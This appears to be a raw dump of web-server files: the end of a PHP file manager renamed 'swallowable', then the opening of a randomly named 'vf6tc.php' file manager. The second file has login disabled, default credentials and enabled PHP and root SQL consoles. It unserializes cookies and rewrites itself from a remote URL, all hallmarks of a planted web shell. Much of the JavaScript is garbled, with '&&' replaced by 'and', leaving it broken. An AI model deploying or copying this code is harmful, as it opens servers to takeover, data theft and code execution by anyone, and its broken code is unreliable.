                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'swallowable';      $tr['en']['AppTitle']           = 'swallowable';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>vf6tc.php000064400000232754151550052250006322 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
